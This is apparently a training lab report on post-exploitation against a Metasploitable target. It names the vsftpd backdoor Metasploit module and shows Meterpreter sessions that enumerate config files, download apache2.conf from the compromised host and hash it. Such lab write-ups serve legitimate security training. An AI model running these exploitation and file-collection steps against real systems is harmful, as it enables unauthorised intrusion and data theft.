Post Exploitation

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POST-EXPLOITATION REPORT

1. Objective

The objective of this task is to perform post-exploitation on a compromised system by gaining access, verifying privilege level, collecting evidence, and generating file hashes.

2. Tools Used

- Metasploit Framework (Meterpreter)
- Kali Linux (Attacker Machine)
- Metasploitable (Target Machine)
- sha256sum (Hashing tool)

3. Exploitation and Privilege Verification

- Initial access to the target system was obtained using the following exploit:
  (use exploit/unix/ftp/vsftpd_234_backdoor)
- This exploit targets a vulnerable FTP service and provides shell access to the system.
- After successful exploitation, the privilege level was verified using:
- (*getuid*), (*sysinfo*)

```
meterpreter > getuid
Server username: root
```

```
meterpreter > sessions 1
[*] Session 1 is already interactive.
meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 16436
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : eth0
Hardware MAC : 08:00:27:6d:81:65
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.56.101
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::a00:27ff:fe6d:8165
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > sysinfo
Computer     : metasploitable.localdomain
OS           : Ubuntu 8.04 (Linux 2.6.24-16-server)
Architecture : i686
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux
```

- Result:
  The session was running with root privileges, indicating full administrative access. Therefore, no further privilege escalation techniques (such as bypassuac) were required.

4. Enumeration and File Discovery

- A search was performed to locate the file target.conf:
  (search -f target.conf)

```
meterpreter > search target.conf
[-] You must specify a valid file glob to search for, e.g. >search -f *.doc
meterpreter > search target
[-] You must specify a valid file glob to search for, e.g. >search -f *.doc
```

- However, the file was not found on the system.
- Further enumeration was conducted using:
  *(search -f *.conf)*

```
meterpreter > search -f *.conf
Found 289 results...
=====================

Path
    Size (bytes)  Modified (UTC)
----
    ------------  --------------
/etc/X11/xorg.conf
    1263          2012-05-21 00:13:52 +0530
/etc/adduser.conf
    2975          2010-03-17 04:30:57 +0530
/etc/apache2/apache2.conf
    10587         2008-02-02 09:27:55 +0530
/etc/apache2/httpd.conf
    0             2010-03-17 19:38:25 +0530
/etc/apache2/mods-available/actions.conf
    332           2008-02-02 09:27:55 +0530
/etc/apache2/mods-available/alias.conf
    815           2008-02-02 09:27:55 +0530
/etc/apache2/mods-available/autoindex.conf
    3110          2010-03-10 02:11:07 +0530
/etc/apache2/mods-available/cgid.conf
    68            2008-02-02 09:27:55 +0530
/etc/apache2/mods-available/dav_fs.conf
    36            2008-02-02 09:27:55 +0530
/etc/apache2/mods-available/deflate.conf
    107           2008-02-02 09:27:55 +0530
/etc/apache2/mods-available/dir.conf
    122           2008-02-02 09:27:55 +0530
/etc/apache2/mods-available/disk_cache.conf
    575           2010-03-10 02:11:07 +0530
/etc/apache2/mods-available/info.conf
    420           2008-02-02 09:27:55 +0530
/etc/apache2/mods-available/mem_cache.conf
    185           2008-02-02 09:27:55 +0530
/etc/apache2/mods-available/mime.conf
    6279          2008-02-02 09:27:55 +0530
/etc/apache2/mods-available/mime_magic.conf
```

- Multiple configuration files were identified. Among them, /etc/apache2/apache2.conf was selected as a relevant configuration file for evidence collection.

5. Evidence Collection

- The identified file was accessed and analyzed:
  (cd /etc/apache2)
  (cat apache2.conf)

```
meterpreter > cd /etc/apache2
meterpreter > ls
Listing: /etc/apache2
=====================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100644/rw-r--r--  10587  fil   2008-02-02 09:27:55 +0530  apache2.conf
040755/rwxr-xr-x  4096   dir   2010-04-16 11:40:55 +0530  conf.d
100644/rw-r--r--  378    fil   2008-02-02 09:27:55 +0530  envvars
100644/rw-r--r--  0      fil   2010-03-17 19:38:25 +0530  httpd.conf
040755/rwxr-xr-x  4096   dir   2012-05-14 09:58:49 +0530  mods-available
040755/rwxr-xr-x  4096   dir   2012-05-21 00:55:43 +0530  mods-enabled
100644/rw-r--r--  75     fil   2012-05-21 01:04:24 +0530  ports.conf
040755/rwxr-xr-x  4096   dir   2012-05-21 00:58:17 +0530  sites-available
040755/rwxr-xr-x  4096   dir   2012-05-21 00:58:17 +0530  sites-enabled
```

- The file contains important web server configuration details and may include sensitive information.
- The file was downloaded for further analysis:
  (*download apache2.conf*)

```
meterpreter > download apache2.conf
[*] Downloading: apache2.conf → /home/kali/apache2.conf
[*] Downloaded 10.34 KiB of 10.34 KiB (100.0%): apache2.conf → /home/kali/apache2
.conf
[*] Completed  : apache2.conf → /home/kali/apache2.conf
```

6. Hash Generation

- To ensure integrity, a SHA256 hash of the file was generated:
  (*sha256sum /etc/apache2/apache2.conf*)

```
meterpreter > shell
Process 4990 created.
Channel 4 created.
sha256sum /etc/apache2/apache2.conf
sha256sum: /etc/apache2/apache2.confsha256sum: No such file or directory
3fa28009844fd94575c89de98f07c1978df94bfd61f24049c90db5f1dbe6bf07  /etc/apache2/apa
che2.conf
```

7. Evidence Table

Item	Description	Collected By	Date	Hash Value
Config File	apache2.conf (web config)	VAPT Analyst	19-03-2026	3fa28009844fd94575c89de98f07c1978df94bfd61f24049c90db5f1dbe6bf07

8. Finding

- The target system was successfully exploited using a known vulnerability.
- Root-level access was obtained directly.
- The file target.conf was not present on the system.
- Alternative configuration files were identified and analyzed.
- Sensitive configuration file /etc/apache2/apache2.conf was accessed.
- File integrity was verified using SHA256 hashing.

9. Conclusion

The post-exploitation task was successfully completed. Even though the specified file was not found, alternative relevant files were identified and used as evidence. The system was accessed with root privileges, eliminating the need for further privilege escalation.